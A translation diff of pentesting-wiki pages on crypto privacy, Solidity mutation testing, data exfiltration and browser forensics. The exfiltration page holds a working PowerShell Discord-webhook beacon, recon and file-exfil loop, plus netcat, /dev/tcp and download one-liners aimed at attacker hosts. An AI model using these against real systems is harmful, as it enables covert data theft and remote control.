+Durch die Nutzung eines Mixing-Service kann ein Nutzer **bitcoins senden** und **im Gegenzug andere bitcoins erhalten**, was es schwierig macht, den ursprünglichen Besitzer zu verfolgen. Dennoch erfordert dies Vertrauen in den Service, keine Logs zu führen und die bitcoins tatsächlich zurückzugeben. Alternative Mixing-Optionen sind Bitcoin-Casinos.

 ## CoinJoin

-CoinJoin verbindet mehrere Transaktionen unterschiedlicher Nutzer zu einer, was das Zuordnen von Inputs zu Outputs erschwert. Trotz seiner Wirksamkeit können Transaktionen mit einzigartigen Input- und Output-Größen weiterhin potenziell zurückverfolgt werden.
+**CoinJoin** fasst mehrere Transaktionen verschiedener Nutzer zu einer zusammen, was es für jemanden, der versucht, Inputs mit Outputs abzugleichen, erschwert. Trotz seiner Wirksamkeit können Transaktionen mit einzigartigen Input- und Output-Größen dennoch potenziell zurückverfolgt werden.

-Beispiel-Transaktionen, die CoinJoin genutzt haben könnten, sind `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` und `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
+Beispieltransaktionen, die CoinJoin verwendet haben könnten, sind `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` und `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.

-Weitere Informationen finden Sie unter [CoinJoin](https://coinjoin.io/en). Für einen ähnlichen Dienst auf Ethereum siehe [Tornado Cash](https://tornado.cash), das Transaktionen mit Mitteln von Minern anonymisiert.
+For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.

 ## PayJoin

-Eine Variante von CoinJoin, PayJoin (oder P2EP), tarnt die Transaktion zwischen zwei Parteien (z. B. einem Kunden und einem Händler) als reguläre Transaktion, ohne die markanten gleichen Outputs, die für CoinJoin charakteristisch sind. Das macht sie extrem schwer zu erkennen und kann die common-input-ownership heuristic, die von Überwachungsstellen verwendet wird, außer Kraft setzen.
+Eine Variante von CoinJoin, **PayJoin** (or P2EP), tarnt die Transaktion zwischen zwei Parteien (z. B. Kunde und Händler) als normale Transaktion, ohne die für CoinJoin charakteristischen gleichen Outputs. Dadurch wird die Erkennung extrem erschwert und könnte die common-input-ownership heuristic, die bei der Transaktionsüberwachung angewandt wird, außer Kraft setzen.
 ```plaintext
 2 btc --> 3 btc
 5 btc     4 btc
 ```
-Transaktionen wie die oben gezeigten könnten PayJoin sein, die die Privatsphäre erhöhen und gleichzeitig nicht von normalen Bitcoin-Transaktionen zu unterscheiden sind.
+Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.

-**Der Einsatz von PayJoin könnte traditionelle Überwachungsmethoden erheblich stören**, was es zu einer vielversprechenden Entwicklung im Streben nach Transaktions-Privatsphäre macht.
+**Die Nutzung von PayJoin könnte herkömmliche Überwachungsmethoden erheblich stören**, was es zu einer vielversprechenden Entwicklung im Streben nach Transaktionsprivatsphäre macht.

-# Best Practices für Privatsphäre bei Kryptowährungen
+# Best Practices for Privacy in Cryptocurrencies

-## **Wallet-Synchronisationstechniken**
+## **Wallet Synchronization Techniques**

-Um Privatsphäre und Sicherheit zu wahren, ist die Synchronisation von Wallets mit der Blockchain entscheidend. Zwei Methoden stechen hervor:
+Um Privatsphäre und Sicherheit zu wahren, ist die Synchronisation von Wallets mit der blockchain entscheidend. Zwei Methoden stechen hervor:

- **Full node**: Durch das Herunterladen der gesamten Blockchain gewährleistet ein Full node maximale Privatsphäre. Alle jemals getätigten Transaktionen werden lokal gespeichert, wodurch es für Angreifer unmöglich wird zu identifizieren, an welchen Transaktionen oder Adressen der Nutzer interessiert ist.
- **Client-side block filtering**: Diese Methode erzeugt Filter für jeden Block der Blockchain, wodurch Wallets relevante Transaktionen erkennen können, ohne Netzwerkbeobachtern spezifische Interessen preiszugeben. Lightweight wallets laden diese Filter herunter und holen nur dann komplette Blöcke, wenn eine Übereinstimmung mit den Adressen des Nutzers gefunden wird.
+- **Full node**: Durch das Herunterladen der gesamten blockchain gewährleistet ein Full node maximale Privatsphäre. Alle jemals getätigten Transaktionen werden lokal gespeichert, wodurch es für Angreifer unmöglich wird zu identifizieren, an welchen Transaktionen oder Adressen der Nutzer interessiert ist.
+- **Client-side block filtering**: Diese Methode erzeugt Filter für jeden Block in der blockchain, sodass Wallets relevante Transaktionen erkennen können, ohne spezifische Interessen gegenüber Netzwerkbeobachtern preiszugeben. Leichte Wallets laden diese Filter herunter und fordern nur dann vollständige Blöcke an, wenn ein Treffer mit den Adressen des Nutzers gefunden wird.

-## **Tor für Anonymität nutzen**
+## **Utilizing Tor for Anonymity**

-Da Bitcoin in einem Peer-to-Peer-Netzwerk betrieben wird, wird empfohlen, Tor zu verwenden, um deine IP-Adresse zu verschleiern und so die Privatsphäre bei der Interaktion mit dem Netzwerk zu erhöhen.
+Da Bitcoin auf einem Peer-to-Peer-Netzwerk läuft, wird empfohlen, Tor zu verwenden, um die IP-Adresse zu verschleiern und so die Privatsphäre bei der Interaktion mit dem Netzwerk zu erhöhen.

-## **Adresswiederverwendung verhindern**
+## **Preventing Address Reuse**

-Zum Schutz der Privatsphäre ist es wichtig, für jede Transaktion eine neue Adresse zu verwenden. Adressen wiederzuverwenden kann die Privatsphäre gefährden, indem Transaktionen mit derselben Entität verknüpft werden. Moderne Wallets entmutigen die Wiederverwendung von Adressen durch ihr Design.
+Um die Privatsphäre zu schützen, ist es wichtig, für jede Transaktion eine neue Adresse zu verwenden. Die Wiederverwendung von Adressen kann die Privatsphäre kompromittieren, indem Transaktionen mit derselben Entität verknüpft werden. Moderne Wallets entmutigen die Adresswiederverwendung durch ihr Design.

-## **Strategien für Transaktions-Privatsphäre**
+## **Strategies for Transaction Privacy**

- **Multiple transactions**: Eine Zahlung in mehrere Transaktionen aufzuteilen kann den Betrag verschleiern und Angriffe auf die Privatsphäre vereiteln.
- **Change avoidance**: Die Wahl von Transaktionen, die keine Change-Outputs erfordern, erhöht die Privatsphäre, indem Change-Detection-Methoden gestört werden.
- **Multiple change outputs**: Wenn das Vermeiden von Change nicht möglich ist, kann das Erstellen mehrerer Change-Outputs trotzdem die Privatsphäre verbessern.
+- **Multiple transactions**: Eine Zahlung in mehrere Transaktionen aufzuteilen kann den Transaktionsbetrag verschleiern und Privatsphäre-Angriffe vereiteln.
+- **Change avoidance**: Transaktionen zu wählen, die keine Change-Ausgänge erfordern, erhöht die Privatsphäre, indem Change-Detektionsmethoden unterlaufen werden.
+- **Multiple change outputs**: Wenn die Vermeidung von Change nicht möglich ist, kann das Erzeugen mehrerer Change-Ausgänge die Privatsphäre dennoch verbessern.

-# **Monero: Ein Leuchtturm der Anonymität**
+# **Monero: A Beacon of Anonymity**

 Monero adressiert das Bedürfnis nach absoluter Anonymität bei digitalen Transaktionen und setzt einen hohen Standard für Privatsphäre.

-# **Ethereum: Gas und Transaktionen**
+# **Ethereum: Gas and Transactions**

-## **Gas verstehen**
+## **Understanding Gas**

-Gas misst den Rechenaufwand, der zur Ausführung von Operationen auf Ethereum erforderlich ist und wird in **gwei** bepreist. Zum Beispiel umfasst eine Transaktion, die 2.310.000 gwei (oder 0,00231 ETH) kostet, ein Gas-Limit und eine Base Fee sowie ein Tip, um Miner zu incentivieren. Nutzer können eine Max Fee setzen, um sicherzustellen, dass sie nicht zu viel bezahlen; der Überschuss wird zurückerstattet.
+Gas misst den Rechenaufwand, der nötig ist, um Operationen auf Ethereum auszuführen, und wird in **gwei** bepreist. Zum Beispiel erfordert eine Transaktion, die 2.310.000 gwei (oder 0,00231 ETH) kostet, ein gas limit und eine base fee sowie einen Tip zur Anreizung der Miner. Nutzer können eine max fee setzen, um sicherzustellen, dass sie nicht zu viel bezahlen; der Überschuss wird zurückerstattet.

-## **Transaktionen ausführen**
+## **Executing Transactions**

-Transaktionen in Ethereum beinhalten einen Sender und einen Empfänger, die sowohl Benutzer- als auch Smart-Contract-Adressen sein können. Sie erfordern eine Gebühr und müssen gemined werden. Wesentliche Informationen in einer Transaktion sind der Empfänger, die Signatur des Senders, der Wert, optionale Daten, das Gas-Limit und die Gebühren. Bemerkenswert ist, dass die Absenderadresse aus der Signatur abgeleitet wird, sodass sie nicht in den Transaktionsdaten enthalten sein muss.
+Transaktionen auf Ethereum beinhalten einen Sender und einen Empfänger, die entweder Nutzer- oder smart contract-Adressen sein können. Sie erfordern eine Gebühr und müssen gemined werden. Wesentliche Informationen in einer Transaktion sind der Empfänger, die Signatur des Senders, der Wert, optionale Daten, das gas limit und die Gebühren. Bemerkenswert ist, dass die Absenderadresse aus der Signatur abgeleitet wird, wodurch sie nicht in den Transaktionsdaten enthalten sein muss.

-Diese Praktiken und Mechanismen sind grundlegend für alle, die mit Kryptowährungen interagieren und dabei Privatsphäre und Sicherheit priorisieren.
+Diese Praktiken und Mechanismen sind grundlegend für alle, die sich mit cryptocurrencies beschäftigen möchten und dabei Privatsphäre und Sicherheit priorisieren.

-## Referenzen
+## Smart Contract Security
+
+- Mutation testing to find blind spots in test suites:
+
+{{#ref}}
+../smart-contract-security/mutation-testing-with-slither.md
+{{#endref}}
+
+## References

 - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
 - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -181,9 +189,9 @@ Diese Praktiken und Mechanismen sind grundlegend für alle, die mit Kryptowähru
 - [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
 - [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)

-## DeFi/AMM-Ausnutzung
+## DeFi/AMM Exploitation

-Wenn du praktische Ausnutzungen von DEXes und AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps) recherchierst, siehe:
+If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check:

 {{#ref}}
 defi-amm-hook-precision.md
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@ -0,0 +1,116 @@
+# Mutation Testing for Solidity with Slither (slither-mutate)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Mutation testing "tests your tests", indem es systematisch kleine Änderungen (Mutanten) in deinen Solidity-Code einführt und deine Test-Suite erneut ausführt. Wenn ein Test fehlschlägt, wird der Mutant getötet. Wenn die Tests weiterhin bestehen, überlebt der Mutant und offenbart eine Blindstelle in deiner Test-Suite, die line/branch coverage nicht erkennen kann.
+
+Kernaussage: Coverage zeigt, dass Code ausgeführt wurde; mutation testing zeigt, ob das Verhalten tatsächlich geprüft wird.
+
+## Warum Coverage täuschen kann
+
+Betrachte diese einfache Schwellenwertprüfung:
+```solidity
+function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
+if (deposit >= 1 ether) {
+return true;
+} else {
+return false;
+}
+}
+```
+Unit-Tests, die nur einen Wert unterhalb und einen Wert oberhalb des Schwellenwerts prüfen, können 100% Zeilen-/Branch-Abdeckung erreichen, während sie es versäumen, die Gleichheitsgrenze (==) zu prüfen. Eine Änderung zu `deposit >= 2 ether` würde solche Tests weiterhin bestehen und stillschweigend die Protokoll-Logik brechen.
+
+Mutation-Tests decken diese Lücke auf, indem sie die Bedingung verändern und überprüfen, dass deine Tests fehlschlagen.
+
+## Gängige Solidity-Mutationsoperatoren
+
+Slither’s Mutation-Engine wendet viele kleine, die Semantik ändernde Bearbeitungen an, wie z. B.:
+- Operator-Ersetzung: `+` ↔ `-`, `*` ↔ `/`, etc.
+- Zuweisungsersetzung: `+=` → `=`, `-=` → `=`
+- Konstantenersetzung: nicht-null → `0`, `true` ↔ `false`
+- Negation/Ersetzung von Bedingungen innerhalb von `if`/Schleifen
+- Ganze Zeilen auskommentieren (CR: Kommentarersetzung)
+- Ersetze eine Zeile durch `revert()`
+- Datentyp-Tausch: z. B. `int128` → `int64`
+
+Ziel: 100% der generierten Mutanten eliminieren oder verbliebene mit einer klaren Begründung rechtfertigen.
+
+## Running mutation testing with slither-mutate
+
+Requirements: Slither v0.10.2+.
+
+- List options and mutators:
+```bash
+slither-mutate --help
+slither-mutate --list-mutators
+```
+- Foundry example (Ergebnisse erfassen und ein vollständiges Protokoll führen):
+```bash
+slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
+```
+- Wenn du Foundry nicht verwendest, ersetze `--test-cmd` durch den Befehl, mit dem du Tests ausführst (z. B. `npx hardhat test`, `npm test`).
+
+Artefakte und Berichte werden standardmäßig in `./mutation_campaign` gespeichert. Nicht gefangene (überlebende) Mutanten werden dort zur Inspektion kopiert.
+
+### Ausgabe verstehen
+
+Berichtszeilen sehen folgendermaßen aus:
+```text
+INFO:Slither-Mutate:Mutating contract ContractName
+INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
+```
+- Der Tag in eckigen Klammern ist das Mutator-Alias (z. B. `CR` = Comment Replacement).
+- `UNCAUGHT` bedeutet, dass Tests unter dem mutierten Verhalten bestanden haben → fehlende Assertion.
+
+## Laufzeit reduzieren: priorisiere wirkungsvolle Mutanten
+
+Mutationskampagnen können Stunden oder Tage dauern. Tipps zur Kostenreduktion:
+- Umfang: Starte nur mit kritischen Contracts/Verzeichnissen und erweitere dann.
+- Mutatoren priorisieren: Wenn ein hochprioritärer Mutant in einer Zeile überlebt (z. B. ganze Zeile auskommentiert), kannst du niedrigere Prioritätsvarianten für diese Zeile überspringen.
+- Parallelisiere Tests, wenn dein Runner das erlaubt; cache Abhängigkeiten/Builds.
+- Fail-fast: brich früh ab, wenn eine Änderung klar eine Assertion-Lücke zeigt.
+
+## Triage-Workflow für überlebende Mutanten
+
+1) Untersuche die mutierte Zeile und das Verhalten.
+- Reproduziere lokal, indem du die mutierte Zeile anwendest und einen fokussierten Test ausführst.
+
+2) Stärke Tests, indem du den Zustand überprüfst, nicht nur Rückgabewerte.
+- Füge Gleichheits-/Grenzwertprüfungen hinzu (z. B. Schwellenwert `==` testen).
+- Überprüfe Post-Conditions: Kontostände, total supply, Autorisierungswirkungen und emittierte Events.
+
+3) Ersetze zu permissive Mocks durch realistisches Verhalten.
+- Stelle sicher, dass Mocks Transfers, Fehlerpfade und Event-Emissionen durchsetzen, wie sie on-chain auftreten.
+
+4) Füge Invarianten für Fuzz-Tests hinzu.
+- Z. B. Erhaltung des Werts, nicht-negative Kontostände, Autorisierungsinvarianten, monotone Gesamtversorgung, falls anwendbar.
+
+5) Führe slither-mutate erneut aus, bis Überlebende beseitigt oder explizit gerechtfertigt sind.
+
+## Fallstudie: Aufdecken fehlender Status-Assertions (Arkis-Protokoll)
+
+Eine Mutationskampagne während eines Audits des Arkis DeFi-Protokolls förderte Überlebende zutage wie:
+```text
+INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
+```
+Das Auskommentieren der Zuweisung brach die Tests nicht, was fehlende Assertions für den Nachzustand belegte. Ursache: Der Code vertraute einem vom Benutzer kontrollierten `_cmd.value`, anstatt die tatsächlichen Token-Transfers zu validieren. Ein Angreifer könnte erwartete und tatsächliche Transfers desynchronisieren, um Mittel abzuziehen. Ergebnis: hohes Risiko für die Solvenz des Protokolls.
+
+Guidance: Behandle Überlebende, die Werttransfers, Buchführung oder Zugriffskontrolle betreffen, als hohes Risiko, bis sie eliminiert sind.
+
+## Praktische Checkliste
+
+- Führe eine gezielte Kampagne durch:
+- `slither-mutate ./src/contracts --test-cmd="forge test"`
+- Triage die Überlebenden und schreibe Tests/Invarianten, die unter dem mutierten Verhalten fehlschlagen würden.
+- Prüfe Salden, Gesamtangebot, Autorisierungen und Events.
+- Füge Grenzfall-Tests hinzu (`==`, Überläufe/Unterläufe, Null-Adresse, Null-Betrag, leere Arrays).
+- Ersetze unrealistische Mocks; simuliere Ausfallmodi.
+- Iteriere, bis alle Mutanten eliminiert oder mit Kommentaren und Begründung gerechtfertigt sind.
+
+## Referenzen
+
+- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
+- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
+- [Slither (GitHub)](https://github.com/crytic/slither)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/generic-hacking/exfiltration.md
+++ b/src/generic-hacking/exfiltration.md
@ -2,11 +2,11 @@

 {{#include ../banners/hacktricks-training.md}}

-## Häufig auf die Whitelist gesetzte Domains zum Exfiltrieren von Informationen
+## Häufig zugelassene Domains zur Exfiltration von Informationen

-Überprüfen Sie [https://lots-project.com/](https://lots-project.com/), um häufig auf die Whitelist gesetzte Domains zu finden, die missbraucht werden können
+Siehe [https://lots-project.com/](https://lots-project.com/), um häufig zugelassene Domains zu finden, die missbraucht werden können

-## Copy\&Paste Base64
+## Kopieren\&Einfügen Base64

 **Linux**
 ```bash
@ -45,7 +45,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
 ### Dateien hochladen

 - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
- [**SimpleHttpServer, der GET- und POST-Anfragen (auch Header) druckt**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
+- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
 - Python-Modul [uploadserver](https://pypi.org/project/uploadserver/):
 ```bash
 # Listen to files
@ -59,7 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
 # With basic auth:
 # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
 ```
-### **HTTPS-Server**
+### **HTTPS Server**
 ```python
 # from https://gist.github.com/dergachev/7028596
 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@ -100,9 +100,94 @@ if __name__ == "__main__":
 app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
 ###
 ```
+## Webhooks (Discord/Slack/Teams) für C2 & Data Exfiltration
+
+Webhooks sind nur zum Schreiben bestimmte HTTPS-Endpunkte, die JSON und optionale file parts akzeptieren. Sie werden häufig für vertrauenswürdige SaaS-Domains zugelassen und erfordern keine OAuth/API keys, wodurch sie sich für low-friction beaconing und exfiltration eignen.
+
+Key ideas:
+- Endpunkt: Discord verwendet https://discord.com/api/webhooks/<id>/<token>
+- POST multipart/form-data mit einem Part namens payload_json, der {"content":"..."} enthält, und optionalen file part(s) namens file.
+- Operator-Loop-Muster: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK bestätigen die Zustellung.
+
+PowerShell PoC (Discord):
+```powershell
+# 1) Configure webhook and optional target file
+$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
+$target  = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
+
+# 2) Reuse a single HttpClient
+$client = [System.Net.Http.HttpClient]::new()
+
+function Send-DiscordText {
+param([string]$Text)
+$payload = @{ content = $Text } | ConvertTo-Json -Compress
+$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
+$mp = New-Object System.Net.Http.MultipartFormDataContent
+$mp.Add($jsonContent, "payload_json")
+$resp = $client.PostAsync($webhook, $mp).Result
+Write-Host "[Discord] text -> $($resp.StatusCode)"
+}
+
+function Send-DiscordFile {
+param([string]$Path, [string]$Name)
+if (-not (Test-Path $Path)) { return }
+$bytes = [System.IO.File]::ReadAllBytes($Path)
+$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
+$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
+$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
+$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
+$mp = New-Object System.Net.Http.MultipartFormDataContent
+$mp.Add($jsonContent, "payload_json")
+$mp.Add($fileContent, "file", $Name)
+$resp = $client.PostAsync($webhook, $mp).Result
+Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
+}
+
+# 3) Beacon/recon/exfil loop
+$ctr = 0
+while ($true) {
+$ctr++
+# Beacon
+$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
+Send-DiscordText -Text $beacon
+
+# Every 2nd: quick folder listing
+if ($ctr % 2 -eq 0) {
+$dirs = @("Documents","Desktop","Downloads","Pictures")
+$acc = foreach ($d in $dirs) {
+$p = Join-Path $env:USERPROFILE $d
+$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
+if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
+}
+Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
+}
+
+# Every 3rd: targeted exfil
+if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
+
+# Every 4th: basic recon
+if ($ctr % 4 -eq 0) {
+$who = whoami
+$ip  = ipconfig | Out-String
+$tmp = Join-Path $env:TEMP "recon.txt"
+"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
+Send-DiscordFile -Path $tmp -Name "recon.txt"
+}
+
+Start-Sleep -Seconds 20
+}
+```
+Hinweise:
+- Ähnliche Muster gelten für andere Kollaborationsplattformen (Slack/Teams), die ihre incoming webhooks verwenden; passe die URL und das JSON-Schema entsprechend an.
+- Für DFIR von Discord Desktop Cache-Artefakten und webhook/API-Wiederherstellung, siehe:
+
+{{#ref}}
+../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
+{{#endref}}
+
 ## FTP

-### FTP-Server (Python)
+### FTP-Server (python)
 ```bash
 pip3 install pyftpdlib
 python3 -m pyftpdlib -p 21
@ -112,7 +197,7 @@ python3 -m pyftpdlib -p 21
 sudo npm install -g ftp-srv --save
 ftp-srv ftp://0.0.0.0:9876 --root /tmp
 ```
-### FTP-Server (pure-ftp)
+### FTP server (pure-ftp)
 ```bash
 apt-get update && apt-get install pure-ftp
 ```
@ -130,7 +215,7 @@ mkdir -p /ftphome
 chown -R ftpuser:ftpgroup /ftphome/
 /etc/init.d/pure-ftpd restart
 ```
-### **Windows**-Client
+### **Windows** Client
 ```bash
 #Work well with python. With pure-ftp use fusr:ftp
 echo open 10.11.0.41 21 > ftp.txt
@ -150,7 +235,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
 #For new Win10 versions
 impacket-smbserver -smb2support -user test -password test test `pwd`
 ```
-Oder erstellen Sie einen SMB-Freigabe **mit Samba**:
+Oder erstelle ein smb share **mit samba**:
 ```bash
 apt-get install samba
 mkdir /tmp/smb
@ -181,7 +266,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
 ```
 ## SSHFS

-Wenn das Opfer SSH hat, kann der Angreifer ein Verzeichnis vom Opfer zum Angreifer einhängen.
+Wenn die victim SSH hat, kann der attacker ein Verzeichnis vom victim auf den attacker mounten.
 ```bash
 sudo apt-get install sshfs
 sudo mkdir /mnt/sshfs
@ -199,14 +284,14 @@ nc -vn <IP> 4444 < exfil_file
 nc -lvnp 80 > file #Inside attacker
 cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
 ```
-### Datei an das Opfer hochladen
+### Datei auf das Opfer hochladen
 ```bash
 nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
 # Inside victim
 exec 6< /dev/tcp/10.10.10.10/4444
 cat <&6 > file.txt
 ```
-danke an **@BinaryShadow\_**
+Danke an **@BinaryShadow\_**

 ## **ICMP**
 ```bash
@ -228,15 +313,15 @@ sniff(iface="tun0", prn=process_packet)
 ```
 ## **SMTP**

-Wenn Sie Daten an einen SMTP-Server senden können, können Sie mit Python einen SMTP erstellen, um die Daten zu empfangen:
+Wenn du Daten an einen SMTP-Server senden kannst, kannst du mit python einen SMTP-Server erstellen, um die Daten zu empfangen:
 ```bash
 sudo python -m smtpd -n -c DebuggingServer :25
 ```
 ## TFTP

-Standardmäßig in XP und 2003 (in anderen muss es während der Installation ausdrücklich hinzugefügt werden)
+Standardmäßig in XP und 2003 (bei anderen muss es während der Installation explizit hinzugefügt werden)

-In Kali, **TFTP-Server starten**:
+Unter Kali: **start TFTP server**:
 ```bash
 #I didn't get this options working and I prefer the python option
 mkdir /tftp
@ -248,13 +333,13 @@ cp /path/tp/nc.exe /tftp
 pip install ptftpd
 ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
 ```
-In **Opfer**, verbinden Sie sich mit dem Kali-Server:
+Auf **victim** eine Verbindung zum Kali-Server herstellen:
 ```bash
 tftp -i <KALI-IP> get nc.exe
 ```
 ## PHP

-Lade eine Datei mit einem PHP-Oneliner herunter:
+Lade eine Datei mit einem PHP oneliner herunter:
 ```bash
 echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
 ```
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
 ```
 ## Debug.exe

-Das `debug.exe` Programm ermöglicht nicht nur die Inspektion von Binaries, sondern hat auch die **Fähigkeit, sie aus Hex zu rekonstruieren**. Das bedeutet, dass durch die Bereitstellung eines Hex eines Binaries `debug.exe` die Binärdatei generieren kann. Es ist jedoch wichtig zu beachten, dass debug.exe eine **Einschränkung hat, Dateien bis zu 64 kb Größe zusammenzustellen**.
+Das `debug.exe`-Programm erlaubt nicht nur die Inspektion von binaries, sondern besitzt auch die **Fähigkeit, diese aus hex zu rekonstruieren**. Das bedeutet, dass `debug.exe` durch das Bereitstellen eines hex eines binary die binary-Datei erzeugen kann. Es ist jedoch wichtig zu beachten, dass debug.exe eine **Einschränkung beim assembling von files bis zu 64 kb Größe** hat.
 ```bash
 # Reduce the size
 upx -9 nc.exe
 wine exe2bat.exe nc.exe nc.txt
 ```
-Dann fügen Sie den Text in die Windows-Shell ein, und eine Datei namens nc.exe wird erstellt.
+Kopiere dann den Text in die Windows-Shell und es wird eine Datei namens nc.exe erstellt.

 - [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)

@ -310,4 +395,10 @@ Dann fügen Sie den Text in die Windows-Shell ein, und eine Datei namens nc.exe

 - [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)

+## Referenzen
+
+- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
+- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
+- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
+
 {{#include ../banners/hacktricks-training.md}}
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@ -1,58 +1,58 @@
-# Browser Artefakte
+# Browser-Artefakte

 {{#include ../../../banners/hacktricks-training.md}}

-## Browser Artefakte <a href="#id-3def" id="id-3def"></a>
+## Browser-Artefakte <a href="#id-3def" id="id-3def"></a>

-Browserartefakte umfassen verschiedene Arten von Daten, die von Webbrowsern gespeichert werden, wie z. B. Navigationsverlauf, Lesezeichen und Cache-Daten. Diese Artefakte werden in spezifischen Ordnern innerhalb des Betriebssystems aufbewahrt, die sich in Standort und Namen zwischen den Browsern unterscheiden, jedoch im Allgemeinen ähnliche Datentypen speichern.
+Browser-Artefakte umfassen verschiedene Datentypen, die von Webbrowsern gespeichert werden, wie Navigationsverlauf, Lesezeichen und Cache-Daten. Diese Artefakte werden in bestimmten Ordnern des Betriebssystems abgelegt, unterscheiden sich in Speicherort und Namen je nach Browser, speichern jedoch im Allgemeinen ähnliche Datentypen.

-Hier ist eine Zusammenfassung der häufigsten Browserartefakte:
+Hier eine Zusammenfassung der häufigsten Browser-Artefakte:

- **Navigationsverlauf**: Verfolgt die Besuche des Benutzers auf Websites, nützlich zur Identifizierung von Besuchen auf bösartigen Seiten.
- **Autocomplete-Daten**: Vorschläge basierend auf häufigen Suchen, die Einblicke bieten, wenn sie mit dem Navigationsverlauf kombiniert werden.
- **Lesezeichen**: Von Benutzern gespeicherte Seiten für den schnellen Zugriff.
- **Erweiterungen und Add-ons**: Vom Benutzer installierte Browsererweiterungen oder Add-ons.
- **Cache**: Speichert Webinhalte (z. B. Bilder, JavaScript-Dateien), um die Ladezeiten von Websites zu verbessern, wertvoll für die forensische Analyse.
+- **Navigation History**: Verfolgt Besuche des Benutzers auf Websites; nützlich, um Besuche auf bösartigen Seiten zu identifizieren.
+- **Autocomplete Data**: Vorschläge basierend auf häufigen Suchen, liefert zusammen mit dem Navigationsverlauf Einblicke.
+- **Bookmarks**: Vom Benutzer gespeicherte Seiten für den Schnellzugriff.
+- **Extensions and Add-ons**: Vom Benutzer installierte Browser-Erweiterungen oder Add-ons.
